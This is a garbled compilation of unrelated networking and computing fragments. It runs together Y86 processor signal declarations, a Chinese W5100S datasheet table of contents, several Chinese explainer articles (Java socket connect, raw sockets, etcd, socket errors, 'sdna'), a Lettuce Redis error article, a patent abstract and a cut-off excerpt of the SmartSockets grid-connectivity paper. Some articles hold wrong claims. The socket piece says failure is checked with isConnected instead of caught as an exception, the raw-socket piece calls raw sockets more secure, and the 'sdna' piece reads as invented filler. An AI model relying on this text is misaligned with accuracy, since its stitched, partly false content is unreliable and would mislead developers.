INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
W5100S数据手册V1.0.0
PHYCR1 (PHY 控制寄存器 1) ...................................................... 35 SLCR (SOCKET-less 控制寄存器) ................................................... 36 SLRTR (SOCKET-less 重传超时时间寄存器) ...................................... 37 SLRCR (SOCKET-less 重传次数寄存器) ........................................... 37 SLPIPR (SOCKET-less 目标 IP 地址寄存器) ........................................ 37 SLPHAR (SOCKET-less 目标 MAC 地址寄存器) ................................... 37 PINGSEQR (PING 序列号寄存器) ................................................... 38 PINGIDR (PING ID 寄存器) .......................................................... 38 SLIMR (SOCKET-less 中断屏蔽寄存器) ............................................ 38 SLIR (SOCKET-less 中断寄存器) .................................................... 39 CLKLCKR (时钟锁定寄存器) ......................................................... 39 NETLCKR (网络锁定寄存器)......................................................... 40 PHYLCKR (PHY 锁定寄存器 ) ....................................................... 40 VERR (芯片版本寄存器) ............................................................. 40 TCNTR (Ticker 计数器寄存器) ..................................................... 40 TCNTCLR (Ticker 计数器清除寄存器) ............................................ 40 Sn_MR (SOCKET n 模式寄存器) .................................................... 41 Sn_CR (SOCKET n 控制寄存器) .................................................... 42 Sn_IR (SOCKET n 中断寄存器) ..................................................... 44 Sn_SR (SOCKET n 状态寄存器) ..................................................... 44 Sn_PORTR (SOCKET n 源端口寄存器)............................................. 46 Sn_DHAR (SOCKET n 目标 MAC 地址寄存器) ..................................... 47 Sn_DIPR (SOCKET n 目标 IP 地址寄存器) ......................................... 47 Sn_DPORTR (SOCKET n 目标端口寄存器) ........................................ 48 Sn_MSS (SOCKET n 最大分段寄存器) ............................................. 48 Sn_PROTOR (SOCKET n IP 协议寄存器) .......................................... 48 Sn_TOS (SOCKET n IP 服务类型寄存器) .......................................... 49 Sn_TTL (SOCKET n IP 生存时间寄存器) .......................................... 49 Sn_RXBUF_SIZE (SOCKET n 接收缓存大小寄存器) .............................. 49 Sn_TXBUF_SIZE (SOCKET n 发送缓存大小寄存器) .............................. 49 Sn_TX_FSR (SOCKET n 空闲发送缓存寄存器) ................................... 50 Sn_TX_RD (SOCKET n 发送读指针寄存器) ........................................ 50 Sn_TX_WR (SOCKET n 发送写指针寄存器) ....................................... 50 Sn_RX_RSR (SOCKET n 接收大小寄存器) ......................................... 51 Sn_RX_RD (SOCKET n 接收读指针寄存器) ....................................... 51 Sn_RX_WR (SOCKET n 接收写指针寄存器) ....................................... 51 Sn_IMR (SOCKET n 中断屏蔽寄存器) .............................................. 52 Sn_FRAGR (SOCKET n IP 包头片段偏移寄存器) .................................. 52
socket connect方法用法 -回复
socket connect方法用法-回复Socket是应用层与传输层之间的接口,提供了一种机制来进行网络通信。
其中,Socket connect()方法是用于建立与远程主机的连接。
在本文中,我将一步一步回答有关Socket connect()方法的用法,包括其具体步骤、参数、返回值以及错误处理。
第一步:创建Socket对象在使用Socket connect()方法之前,首先需要创建一个Socket对象。
Socket对象可以用于创建客户端连接和服务器监听。
javaSocket socket = new Socket();这段代码创建了一个新的Socket对象,并将其分配给名为socket的实例。
第二步:设置远程主机的地址和端口号在使用Socket connect()方法之前,需要设置要连接的远程主机的地址和端口号。
javaSocketAddress remoteAddr = new InetSocketAddress("远程主机地址", 端口号);socket.connect(remoteAddr);这段代码创建了一个SocketAddress对象,用于指定远程主机的地址和端口号。
然后,使用Socket对象的connect()方法来实际连接到远程主机。
请注意,此时Socket对象已经与远程主机建立了连接,但是该方法会阻塞当前线程,直到连接建立成功或发生错误。
第三步:处理连接成功或失败Socket connect()方法的返回值为void,而不是继承自ConnectException的异常。
因此,我们需要根据是否发生错误来判断连接是否成功。
javaif (socket.isConnected()) {System.out.println("连接成功!");} else {System.out.println("连接失败!");}这段代码使用Socket对象的isConnected()方法来检查连接是否建立成功,并根据结果输出相应的信息。
CONNECTING SOCKET
专利内容由知识产权出版社提供
专利名称:CONNECTING SOCKET 发明人:MÜLLER, Alexander,HINTNER, Gottfried 申请号:EP 2004 001308 申请日:2004 0212 公开号:WO04 /0753he invention relates to a device for determining and/or controlling the process value of an agent comprising at least a measuring instrument, an evaluating/ regulating unit and/or a power/voltage supply and a sleeve (1) for connecting said measuring instrument by means of a connecting socket. Said invention is characterised in that the sleeve (1) comprises at least an internal plastic part (2) and an external metal part (3). Said internal part (2) is provided with at least one plug contact (4) and a tubular section (5). The internal part (2) has a tubular section (7). The internal part (2) is connected to the external part (3) by means of a plug and socket, and the tubular section (5) of the internal part (2) is insertable into the tubular section (7) of the external part (3). The height of the tubular section (7) of the external part (3) is equal to or greater than the height of the tubular part (5) of the internal part (2) in the direction of the connecting socket.
raw socket原理
raw socket原理
Raw Socket是一种实现数据传输的方式,它直接使用网络底层协议,在应用层直接读写IP数据报。
这个机制下的数据传输,不会受到上层协议的干扰。
Raw socket 的工作原理是,应用程序直接访问协议栈中的协议头,封装网络数据包并负责发送它们。
Raw socket 能够带来以下几个重要的好处
1. 更细粒度的控制:应用程序可以控制网络传输的所有细节。
2. 性能好:数据传输过程中少了很多额外的复杂操作,因此能够提供最佳的性能。
3. 更为安全:使用 raw socket 应用程序能够直接读写数据包,因此对系统的安全问题,会有更好的掌控。
4. 能够更好地支持自定义数据协议:Raw socket 能够便捷地支持新的自定义数据协议。
Raw Socket也存在一些限制或者说挑战,比如很多操作系统都不允许用户直接访问底层数据包。
此外,在使用 raw socket 过程中,还需要加强安全措施,以避免遭受网络攻击、黑客入侵等问题。
总的来说,raw socket的出现可以改进网络协议栈的各方面的处理能力,增加应用程序在性能、安全和功能上的灵活性和自由度,使它适用于更多领域和场景的解决方案。
nested exception is io.lettuce -回复
nested exception is io.lettuce -回复[Error: nested exception is io.lettuce]Introduction (150-200 words)When working with software, it is not uncommon to encounter errors or exceptions that may hinder the desired functionality or proper execution of the program. One such error that developers often come across is the "nested exception is io.lettuce" error. This error is related to the io.lettuce package, which is a popular Java Redis client used for connecting to and interacting with Redis servers. In this article, we will explore the reasons behind this error, understand its implications, and delve into potential solutions to resolve it.Understanding io.lettuce (300-400 words)Before we dive into the specifics of the "nested exception isio.lettuce" error, it is crucial to grasp the concept of io.lettuce itself. Io.lettuce is a Java library that provides an implementation of the Redis protocol. Redis, standing for Remote Dictionary Server, is an open-source in-memory database that allows forhigh-performance data storage and retrieval. Developers frequently use Redis for caching, pub/sub messaging, real-time analytics, and other use cases that require fast and efficient data access.Io.lettuce acts as a bridge between Java applications and Redis servers, enabling developers to connect to Redis instances, send commands to the server, and retrieve responses. It offers a simple and easy-to-use API, and is widely adopted for its high performance and reliability. However, as with any software component, there are instances when errors can occur while utilizing io.lettuce, resulting in the "nested exception is io.lettuce" error.Understanding the "nested exception is io.lettuce" error (600-800 words)The "nested exception is io.lettuce" error typically manifests as a part of a larger stack trace and indicates that an exception was thrown in the io.lettuce package or its related classes. This error message is often encountered when attempting to connect to a Redis server or perform operations on it using io.lettuce. The errormessage itself, although brief, doesn't provide specific details about the underlying cause of the exception.To resolve this error, it is essential to analyze the full stack trace, which provides more comprehensive information about the error's origin. The stack trace reveals the sequence of method calls leading up to the exception, starting from the method where the error was initially thrown. By examining the stack trace, developers can gain insights into the specific class or method within io.lettuce that triggered the exception.Common causes of the "nested exception is io.lettuce" error include:1. Incorrect Redis server configuration: One possible reason for this error is that the Redis server is not properly configured or is inaccessible. Developers should verify the server's address, port, authentication credentials, and other configuration parameters to ensure they are correctly specified in the application's code.2. Incompatible versions: Another common cause is a mismatch between the version of io.lettuce being used and the version ofRedis it is attempting to connect to. Developers must ensure that the versions are compatible and can work together seamlessly.3. Network connectivity issues: The error can also arise due to network problems, such as firewall restrictions or network outages, preventing the Java application from establishing a connection with the Redis server.4. Authentication failures: If the Redis server requires authentication, incorrect credentials or missing authentication details in the application's code can result in the "nested exception is io.lettuce" error.5. Resource limitations: Insufficient resources, such as memory or network bandwidth, on either the client or server-side, can lead to this error.Solutions and troubleshooting (600-800 words)To resolve the "nested exception is io.lettuce" error, several troubleshooting steps can be taken:1. Verify Redis server configuration: Double-check the server's address, port, password, and any other relevant configuration parameters. Ensure that the Redis server is running and accessible from the network where the Java application is deployed.2. Check version compatibility: Ensure that the version of io.lettuce being used is compatible with the version of Redis. Check the documentation of both Redis and io.lettuce to identify any potential version compatibility issues and consider updating one or the other if necessary.3. Network troubleshooting: Investigate any potentialnetwork-related issues that may be preventing the connection between the Java application and the Redis server. Check firewall settings, network connectivity, and ensure that the correct ports are open and reachable.4. Review authentication details: If the Redis server requires authentication, confirm that the correct credentials are being used in the Java application's code. Pay attention to any changes in passwords or authentication mechanisms that might have occurred.5. Resource management: Ensure that neither the client nor server-side has resource limitations that could be causing the error. Monitor the memory and network usage of both the Java application and the Redis server during the time of the error occurrence.Conclusion (150-200 words)The "nested exception is io.lettuce" error can be encountered while working with the io.lettuce package, a Java Redis client library. It signifies that an exception was thrown within the io.lettuce framework during a Redis operation. By analyzing the full stack trace and identifying potential causes, developers can effectively troubleshoot and resolve this error. Common causes include incorrect server configuration, version incompatibility, network connectivity issues, authentication failures, and resource limitations.To resolve the error, developers should verify server configuration, ensure version compatibility, troubleshoot network problems,review authentication details, and manage resources appropriately. By following these steps, developers can overcome the "nested exception is io.lettuce" error and ensure smooth connectivity and interaction with Redis servers using io.lettuce.。
etcd 原子操作 -回复
etcd 原子操作-回复文章主题:etcd 原子操作引言:etcd 是一种高性能的分布式键值存储系统,被广泛应用于分布式系统中的配置管理、服务发现等场景。
etcd 提供了一组原子操作,能够保证数据的一致性和可靠性。
本文将逐步解析etcd 原子操作的实现原理和应用场景。
第一部分:什么是etcd 原子操作(250字)- etcd 原子操作是指在分布式环境中对etcd 数据库进行操作时,要么全部操作成功,要么操作不生效,不会发生部分操作成功的情况。
- etcd 通过基于Raft 一致性算法保证了原子操作的可靠性和一致性。
- etcd 提供了一组原子操作命令,包括get、set、delete 等,这些操作能够在分布式系统中同步更新数据,确保数据的正确性。
第二部分:etcd 原子操作的实现原理(500字)1. Raft 一致性算法- etcd 使用Raft 一致性算法对数据进行复制和持久化。
Raft 算法通过选举、心跳等机制实现了多个节点之间的一致性,保证了分布式系统中数据的可靠性和一致性。
- Raft 算法将etcd 分成多个节点,一个节点被选为leader,其他节点为followers。
leader 负责处理客户端请求,通过发送心跳信息和日志复制来与followers 保持一致。
- 当一个客户端发起原子操作请求时,etcd 将其通过Raft 协议发送给leader,leader 接收并处理请求,然后通过Raft 协议将最新状态的变更发送给followers,从而保证了数据的一致性。
2. 分布式事务- etcd 基于分布式锁实现了分布式事务。
在分布式环境中,多个客户端同时发起写操作时可能会出现冲突。
etcd 提供了分布式锁的机制,通过锁来保证原子操作的执行顺序和一致性。
- 当一个客户端希望执行一组原子操作时,首先会尝试获取分布式锁。
只有拥有锁的客户端才能执行原子操作,其他客户端需要等待锁的释放。
这样可以避免多个客户端同时修改数据,保证原子操作的正确执行。
Socket连接错误及原因
Socket连接错误及原因ECONNABORTED 该错误被描述为“software caused connection abort”,即“软件引起的连接中⽌”。
原因在于当服务和客户进程在完成⽤于 TCP 连接的“三次握⼿”后,客户 TCP 却发送了⼀个 RST (复位)分节,在服务进程看来,就在该连接已由 TCP 排队,等着服务进程调⽤ accept 的时候 RST 却到达了。
POSIX 规定此时的 errno 值必须ECONNABORTED。
源⾃ Berkeley 的实现完全在内核中处理中⽌的连接,服务进程将永远不知道该中⽌的发⽣。
服务器进程⼀般可以忽略该错误,直接再次调⽤accept。
ECONNRESET该错误被描述为“connection reset by peer”,即“对⽅复位连接”,这种情况⼀般发⽣在服务进程较客户进程提前终⽌。
当服务进程终⽌时会向客户 TCP 发送 FIN 分节,客户 TCP 回应 ACK,服务 TCP 将转⼊ FIN_WAIT2 状态。
此时如果客户进程没有处理该FIN (如阻塞在其它调⽤上⽽没有关闭 Socket 时),则客户 TCP 将处于 CLOSE_WAIT 状态。
当客户进程再次向 FIN_WAIT2 状态的服务 TCP 发送数据时,则服务 TCP 将⽴刻响应 RST。
⼀般来说,这种情况还可以会引发另外的应⽤程序异常,客户进程在发送完数据后,往往会等待从⽹络IO接收数据,很典型的如 read 或readline 调⽤,此时由于执⾏时序的原因,如果该调⽤发⽣在 RST 分节收到前执⾏的话,那么结果是客户进程会得到⼀个⾮预期的 EOF 错误。
此时⼀般会输出“server terminated prematurely”-“服务器过早终⽌”错误。
EPIPE 错误被描述为“broken pipe”,即“管道破裂”,这种情况⼀般发⽣在客户进程不理会(或未及时处理)Socket 错误,继续向服务 TCP 写⼊更多数据时,内核将向客户进程发送 SIGPIPE 信号,该信号默认会使进程终⽌(此时该前台进程未进⾏ core dump)。
sdna用法 -回复
sdna用法-回复什么是sdna?sdna(Structured Data Network Architecture)是一种新兴的网络架构,用于处理大规模结构化数据的网络传输和存储问题。
与传统的网络架构相比,sdna采用了更加灵活和高效的方式来处理数据,有效地解决了传统网络架构中存在的瓶颈和瓶颈问题。
1. sdna的背景和发展由于互联网的爆炸式增长,大量的数据被不断产生和积累。
这些数据往往是结构化的,例如数据库中的表格数据或电子表格文件中的数据。
传统的网络架构虽然能够传输和存储这些数据,但是由于数据量大、处理速度慢等问题,传统网络架构已经无法满足用户的需求。
为了解决这些问题,科学家和工程师们提出了sdna这种新的网络架构。
sdna基于新的数据处理和传输技术,可以更高效地处理大规模结构化数据,并提供更快的传输速度和更可靠的数据存储。
2. sdna的核心特点sdna的核心特点是其结构化数据处理和传输能力。
sdna将结构化数据分解为多个小块,并将这些小块分配给网络中的多个节点进行处理和传输。
这样,sdna可以实现并行处理和传输,提高整体的处理速度和传输效率。
此外,sdna还具有高度可扩展性和容错性。
当网络中增加新的节点时,sdna可以自动将任务分配给这些新节点,从而实现负载均衡和效率优化。
另外,当某个节点出现故障或失效时,sdna可以自动将任务重新分配给其他节点,从而保证数据处理和传输的可靠性和稳定性。
3. sdna的应用场景由于其高效的数据处理和传输能力,sdna可以应用于多个领域。
首先,sdna可以应用于大数据分析和计算,通过分布式存储和处理大规模结构化数据,可以更快地得到准确的分析结果和计算结果。
其次,sdna可以应用于云计算和分布式存储。
通过将结构化数据存储在多个节点上,sdna可以提供可靠的数据存储和高效的数据访问服务,从而满足用户对云计算和分布式存储的需求。
此外,sdna还可以应用于物联网和智能城市等领域。
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SmartSockets:Solving the Connectivity Problemsin Grid ComputingJason Maassen and Henri E.BalDept.of Computer Science,Vrije UniversiteitAmsterdam,The Netherlandsjason@cs.vu.nl,bal@cs.vu.nlABSTRACTTightly coupled parallel applications are increasingly run inGrid environments.Unfortunately,on many Grid sites theability of machines to create or accept network connectionsis severely limited byfirewalls,network address translation(NAT)or non-routed networks.Multi homing further com-plicates connection setup and machine identification.Al-though ad-hoc solutions exist for some of these problems,itis usually up to the application’s user to discover the causeof the connectivity problems andfind a solution.In thispaper we describe SmartSockets,1a communication librarythat lifts this burden by automatically discovering the con-nectivity problems and solving them with as little supportfrom the user as possible.Categories and Subject Descriptors:C.2.4[DistributedSystems]:Distributed applicationsGeneral Terms:Algorithms,Design,ReliabilityKeywords:Connectivity Problems,Grids,Networking,Par-allel Applications1.INTRODUCTIONParallel applications are increasingly run in Grid environ-ments.Unfortunately,on many Grid sites the ability of ma-chines to create or accept network connections is severelylimited by network address translation(NAT)[14,26]orfirewalls[15].There are even sites that completely disallowany direct communication between the compute nodes andthe rest of the world(e.g.,the French Grid5000system[3]).In addition,multi homing(machines with multiple networkaddresses)can further complicate connection setup.For parallel applications that require direct communica-tion between their components,these limitations have ham-pered the transition from traditional multi processor or clus-ter systems to Grids.When a combination of Grid sites isused,serious connectivity problems are often encountered.In Section2we describe the connectivity related problems encountered while running applications on multiple Grid sites.Section3describes how these problems are solved in SmartSockets and briefly looks at the programming inter-face.Section4evaluates the performance of SmartSockets, Section5describes related work,and Section6concludes.2.CONNECTIVITY PROBLEMSIn this section we will give a description of the network re-lated problems that can occur when running a single parallel or distributed application on multiple Grid sites.2.1FirewallsAs described in[15],”Afirewall is an agent which screens network traffic in some way,blocking traffic it believes to be inappropriate,dangerous,or both.”.Many sites usefire-walls to protect their network from unauthorized access. Firewalls usually allow outbound connections,but block in-coming connections,often with the exception of a few well-known ports(e.g.,port22for SSH).It is obvious that this connectivity restriction can cause severe problems when running a parallel application on mul-tiple sites.When only a single participating site usesfire-wall,the connectivity problems can sometimes be solved by ensuring that the connections setups are’in the right direc-tion’,i.e.,that all required connections between open and firewalled machines are initiated at thefirewalled site.This solution may require changes to the applications or commu-nication libraries,however.Also,if both sites use afirewall, this approach can no longer be used.In this case,afire-wall will always be encountered regardless of the connection setup direction.One way to solve the problems is to request an open port range in thefirewall.Connectivity can then be restored by adapting the application to only use ports in this range. Besides requiring reconfiguration of thefirewall,open ports are also seen as a threat to site security.When both machines are behind afirewall it may still be possible to establish a direct connection using a mecha-nism called TCP splicing[6,10,13,20].Simply put,this mechanism works by simultaneously performing a connec-tion setup from both sides.Since this approach requires ex-plicit cooperation between the machines,some alternative communication channel must be available.2.2Network Address TranslationAs described in[21],”Network Address Translation is a method by which IP addresses are mapped from one ad-dress realm to another,providing transparent routing to end hosts.”.NAT was introduced in[12]as a temporary solu-tion to the problem of IPv4address depletion.Although the intended solution for this problem,IPv6,has been available for some time,NAT is still widely used today.Many differentflavors of NAT exist,but the Network Ad-dress Port Translation is most frequently used[21,29].This type of NAT allows outbound connections from sites using private addresses,but does not allow incoming connections. Both the IP address(and relatedfields)and the transport identifier(e.g.,TCP and UDP port numbers)of packets are translated,thereby preventing port number collisions when a set of hosts share a single external address.As mentioned above,NAT only allows outbound network connections.Incoming connections are rejected,since the connection request does not contain enough information to find the destination machine(i.e.,only the external IP ad-dress is provided,but that may be shared by many ma-chines).This restriction leads to connectivity problems that are very similar to those caused byfirewalls.Therefore,the solution described in Section2.1(connecting’in the right di-rection’)also applies to a NAT setup,and fails in a similar way when multiple NAT sites try to interconnect. Although the TCP splicing mechanism can also be used to connect two NAT sites,a more complex algorithm is re-quired to compensate for the port translation performed by NAT[6,20].Some NAT implementations have support for port for-warding,where all incoming connections on a certain port can be automatically forwarded to a certain host inside the NAT ing mechanisms such as UPnP[5],DPF[28], or MIDCOM[30],applications can contact the NAT im-plementation and change the port forwarding rules on de-mand.Port forwarding lifts many of the restrictions on in-coming connections.Unfortunately,UPnP is mostly found in consumer devices,MIDCOM is still under development, and DPF only supports NAT(andfirewall)implementations based on NetFilter[1].As a result,these mechanisms are not(yet)generally usable in Grid applications.Currently, SmartSockets only supports UPnP.In addition to causing connection setup problems,NAT also complicates machine identification.Machines in a NAT site generally use IP addresses in the private range[26]. These addresses are only usable within a local network and are not globally unique.Unfortunately,parallel applications often use a machine’s IP address to create a unique identifier for that machine.When multiple NAT sites participate in a single parallel run,however,this approach can not be used, since the machine addresses are no longer guaranteed to be unique.2.3Non-routed networksOn some sites no direct communication between the com-pute nodes and the outside world is possible due to a strict separation between the internal and external networks.No routing is performed between the two.Only a front-end machine is accessible,and the connectivity of this machine may be limited by afirewall or NAT.Two of the sites used in Section4use such a setup.It is clear that this is a major limitation when the site is used in a parallel application.The only possibility for the compute nodes to communicate with other sites is to use the front-end machine as a bridge to the outside world,using, for example,an SSH tunnel or a SOCKS[24]proxy.These are non-trivial to set up,however.2.4Multi HomingWhen multi-homed machines(i.e.,machines with multi-ple network addresses)participate in a parallel application, another interesting problem occurs.When creating a con-nection to such a machine,a choice must be made on which of the possible target addresses to use.The outcome of this choice may depend on the location of the machine that ini-tiates the connection.For example,the front-end machine of a site has two ad-dresses,a public one,reachable over the internet,and a pri-vate one used to communicate with the site’s compute nodes. As a result,a different address must be used to reach thismachine depending on whether the connection originates in-side or outside of the site.In[34]we called this the Reverse Routing Problem.Nor-mally,when a multi-homed machine is trying to connect to a single IP address,a routing table on the machine decides which network is used for the outgoing connection.In the example described above the reverse problem is encountered. Instead of having to decide how to‘exit’a multi-homed ma-chine,we must decide on how to‘enter’it.This problem is non-trivial,since the source machine generally does not have enough information available to select the correct target ad-dress.As a result,several connection attempts to different addresses of the target may be necessary before a connection can be established.In Section3.2we will describe heuristics that can be used to speed up this process.Multi homing can have a major effect on the implementa-tion of parallel programming libraries.The example above shows that it is not sufficient to use a single address to rep-resent a multi-homed machine.Instead,all addresses must be made available to the other participants of the parallel application.In addition,some of the addresses may be in a private range and refer to a different machine when used in a different site.Therefore,it is also essential to check if a connection was established to the correct machine.3.SMARTSOCKETSIn this section we will give an overview of the design,im-plementation and programming interface of the SmartSock-ets library,and describe how it solves the problems described in the previous section.3.1OverviewCurrently,SmartSockets offers four different connection setup mechanisms,Direct,Reverse,Splicing,and Routed. They will be described in more detail below.Table1shows an overview of how these mechanisms solve the connectivity problems described in Section2.As the table shows,each problem is solved by at least one mechanism.Table1:Overview of connectivity problems and their solutions.Connection Setup Mechanism ProblemsIdentificationXSingle FW/NAT(X)X X No Routingvided that a direct connection is possible),this may not be the most efficient approach.Many Grid sites offer high-performance networks such as Myrinet[7]or Infiniband[4] in addition to a regular Ethernet ing such a network for inter-site communication may significantly im-prove the application’s performance.In general,these fast networks are not routed and use addresses in the private range,while the regular Ethernet networks(often)use pub-lic addresses.Therefore,by sorting the target addresses and trying all private onesfirst,the fast local networks will au-tomatically be selected in sites with such a setup.The drawback of this approach is that the private ad-dresses of a target will always be triedfirst,even if the con-nection originates on a different site.This may cause a sig-nificant overhead.Therefore,SmartSockets uses a heuristic that sorts the target addresses in relation to the addresses that are available locally.For example,if only a public ad-dress is available on the local machine,it is unlikely that it will be able to create a direct connection to a private address of a target.As a result,the connection order public before private is used.This order is also used if both machines have public and private addresses,but the private addresses re-fer to a different network(e.g.,10.0.0.10vs.192.168.1.20). The order private before public is only used if both machines have private addresses in the same range.Section4will il-lustrate the performance benefits of this heuristic. Unfortunately,it is impossible to make a distinction be-tween addresses of the same class.For example,if a target has multiple private addresses,we can not automatically determine which address is best.Therefore,if a certain network is preferred,the user must specify this explicitly. Without this explicit configuration,SmartSockets will still create a direct connection(if possible),and the parallel ap-plication will run,but its performance may be suboptimal. When a connection has been established,an identity check is performed to ensure that the correct machine has been reached.This would be a simple comparison if the complete identifier of the target is available,but unfortunately this is not always the er provided addresses are often used to bootstrap a parallel application.These addresses are often limited to a single hostname or IP address,which may only be part of the addresses available to the target ma-chine.Therefore,the identity check used by SmartSockets also allows the use of partial identifiers.Whenever a connection is created,the target machine pro-vides its complete identity to the machine initiating the con-nection.This machine then checks if both the public and private addresses in the partial identity are a subset of the ones in the complete identity.If so,the partial identity is accepted as a subset of the complete identity,and the con-nection is established.Note that although the connection is created to a machine that matches the address specified by the user,it is not necessarily the correct machine from the viewpoint of the parallel application.Unfortunately,in such cases it is up to the user to provide an address that contains enough information to reach the correct machine.3.2.3Open Port Ranges and Port Forwarding When afirewall has an open port range available,Smart-Sockets can ensure that all sockets used for incoming con-nections are bound to a port in this range.There is no way of discovering this range automatically,however,so it must be specified explicitly by the user.In addition,SmartSockets can use the UPnP protocol to configure a NAT to do port forwarding,i.e.,automatically forward all incoming connections on a certain external port to a specified internal address.However,as explained before, this protocol is mainly used in consumer devices.3.2.4SSH TunnelingIn addition to regular network connections,the direct con-nection layer also has limited support for SSH tunneling. This feature is useful for connecting to machines behind a firewall that allows SSH connections to pass through.It does,however,require a suitable SSH setup(i.e.,public key authentication must be enabled).Creating an SSH tunnel is similar to a regular connection setup.The target addresses are sorted and tried consecu-tively.Instead of using the port specified in the connection setup,however,the default SSH port(i.e.,22)is used.When a connection is established and the authentication is success-ful,the receiving SSH daemon is instructed to forward all traffic to the original destination port on the same machine. If this succeeds,the regular identity check will be performed to ensure that the right machine has been reached. Although this approach is useful,it can only be used to set up a tunnel to a different process on the target machine. Using this approach to forward traffic to different machines requires extra information.For example,setting up an SSH tunnel to a compute node of a site through the site’s fron-tend,can only be done if it is clear that the frontend must be contacted in order to reach the target machine.Although this approach is used in some projects[8],the necessary in-formation cannot be obtained automatically and must be provided by the user.Therefore,SmartSockets uses a differ-ent approach which will be described in detail in Section3.3.3.2.5LimitationsThe direct connection layer offers several types of connec-tion setup which have in common that they can be initiated by a single machine.No explicit cooperation between ma-chines is necessary to establish the connection.There are many cases,however,where connectivity is too limited and the direct connection layer cannot be used.In general,direct connections to sites that use NAT or a firewall are not possible.Although SSH tunneling and open port ranges alleviate thefirewall problems,they require a suitable SSH setup or extra information from the user.Port forwarding reduces the problems with NAT,but is rarely supported in Grid systems.Therefore,these features are of limited use.In the next section we will give a detailed de-scription of the virtual connection layer,which solves these problems.3.3Virtual Connection LayerLike the direct connection layer,the virtual connection layer implements several types of connection setup.It offers a simple,socket-like API and has a modular design,making it easy to extend.Besides a direct module that uses the direct connection layer described above,it contains several modules that offer more advanced types of connection setup. These modules have in common that they require explicit cooperation(and thus communication)between the source and target machines in order to establish a connection.As a result,side-channel communication is required to implement these modules.3.3.1Side-Channel CommunicationIn SmartSockets,side-channel communication is imple-mented by creating a network of interconnected processes called hubs.These hubs are typically started on the fron-tend machines of each participating site,so their number is usually small.When a hub is started,the location of one or more other hubs must be provided.Each hub will attempt to setup a connection to the others using the direct connection layer. Although many of these connections may fail to be estab-lished,this is not a problem as long as a spanning tree is created that connects all hubs.The hubs use a gossiping protocol to exchange information about themselves and the hubs they know,with the hubs that they are connected to.This way information about each hub quickly spreads to all hubs in the network.When-ever a hub receives information about a hub it has not seen before,it will attempt to set up a connection to this hub. This way,new connections will be discovered automatically. All gossiped information contains a state number indicat-ing the state of the originating machine when the informa-tion was sent.Since information from a hub may reach an-other hub through multiple paths,the state number allows the receiver to decide which information is most recent.By recording the length of the path traversed thus far in the gossiped information,hubs can determine the distance to the sites that they can not reach directly.Whenever a hub receives a piece of information about another hub con-taining a shorter distance than it has seen so far,it will remember both the distance and the hub from which the in-formation was obtained.This way,we automatically create a distributed routing table with the shortest paths between each pair of hubs.This table is later used to forward appli-cation information(as will be described below).When an application is started,the virtual layer on each machine creates a single connection to the hub local to its site.The location of this hub can either be explicitly speci-fied or discovered automatically using UDP multicast.3.3.2Virtual AddressesThe connection to the hub can now be used as a side chan-nel to forward requests to otherwise unreachable machines. To ensure that the target machines can be found,virtual addresses are used,consisting of the machine identifier(see Section3.2),a port number,and the identifier of the hub the machine is connected to.All requests for the target machine can then be sent to the local hub,which forwards it in the direction of the target hub using the information contained in its routing table. The request will continue to be forwarded until the target hub is reached and the request is delivered to the machine.3.3.3ModulesThe current implementation of SmartSockets contains four different connection modules,one for each of the connection setup mechanisms described in Section3.1.Direct.The direct connection module simply forwards all connec-tion requests to the direct connection layer.It does not make use of side-channel communication and has the features and limitations described in Section3.2.Reverse.A direct connection setup will generally fail if the tar-get is behind afirewall or NAT.However,as explained in Section2,outgoing connections are usually allowed on such sites.The reverse connection module exploits this property by reversing the direction of the connection setup. Instead of creating a connection,the reverse connection module creates a new socket locally.It then sends a request to the target machine using the side channel.This request contains the target’s address and destination port,and the address of the new socket.When the request is received on the target machine,it will check if the destination port exists.If it does,the target machine attempts to create a direct connection back to the new socket.If successful,this connection is returned as the result of original connection setup call on the source.On the target,the new connection will be queued,awaiting an accept from the application. Splicing.The reverse connection module requires the source ma-chine to be publicly accessible.When both machines are behind afirewall or NAT the reverse connection setup will fail.However,it may still be possible to create a connection using TCP splicing[10,20]When the machines have public addresses(i.e.,they are not behind a NAT),the actions performed by the splicing module are relatively straightforward.First,the source ma-chine sends a request to the target using the side channel. This request contains the target address and destination port,the complete identifier of the source,and a port the source will use to create the outgoing connection.When the request is received on the target machine,it will check if the destination port exists.If it does,a reply is returned and both machines repeatedly attempt to create a direct connec-tion to the other(using only public addresses).Since this mechanism is sensitive to timing and both machines may have multiple public addresses,the number of attempts re-quired may be large.When one or both machines are behind a NAT(i.e.,they only have private addresses),a different approach is used. As explained in 